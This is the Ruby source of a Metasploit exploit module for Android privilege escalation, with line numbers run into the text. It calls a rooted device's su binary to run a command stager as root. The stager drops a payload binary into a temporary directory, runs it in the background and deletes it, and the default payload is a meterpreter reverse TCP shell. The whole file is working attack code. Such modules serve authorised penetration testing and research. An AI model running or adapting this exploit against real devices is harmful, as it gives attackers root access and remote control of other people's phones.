Path: blob/master/modules/exploits/android/local/su_exec.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::CmdStager9include Msf::Post::File10include Msf::Post::Android::Priv1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => "Android 'su' Privilege Escalation",18'Description' => %q{19This module uses the su binary present on rooted devices to run20a payload as root.2122A rooted Android device will contain a su binary (often linked with23an application) that allows the user to run commands as root.24This module will use the su binary to execute a command stager25as root. The command stager will write a payload binary to a26temporary directory, make it executable, execute it in the background,27and finally delete the executable.2829On most devices the su binary will pop-up a prompt on the device30asking the user for permission.31},32'Author' => 'timwr',33'License' => MSF_LICENSE,34'DisclosureDate' => '2017-08-31',35'SessionTypes' => [ 'meterpreter', 'shell' ],36'Platform' => [ 'android', 'linux' ],37'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],38'Targets' => [39['aarch64', { 'Arch' => ARCH_AARCH64 }],40['armle', { 'Arch' => ARCH_ARMLE }],41['x86', { 'Arch' => ARCH_X86 }],42['x64', { 'Arch' => ARCH_X64 }],43['mipsle', { 'Arch' => ARCH_MIPSLE }]44],45'DefaultOptions' => {46'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',47'WfsDelay' => 548},49'DefaultTarget' => 0,50'Notes' => {51'SideEffects' => [ ARTIFACTS_ON_DISK ],52'Reliability' => [ REPEATABLE_SESSION ],53'Stability' => [ CRASH_SAFE ]54}55}56)57)58register_options([59OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),60OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),61])62end6364def base_dir65datastore['WritableDir'].to_s66end6768def su_bin69datastore['SU_BINARY'].to_s70end7172def exploit73if is_root?74fail_with(Failure::BadConfig, 'Session already has root privileges')75end7677linemax = 4088 - su_bin.size78execute_cmdstager({79flavor: :echo,80enc_format: :octal,81prefix: '\\\\0',82temp: base_dir,83linemax: linemax,84background: true85})86end8788def execute_command(cmd, _opts)89cmd_exec("#{su_bin} -c '#{cmd}'")90end91end929394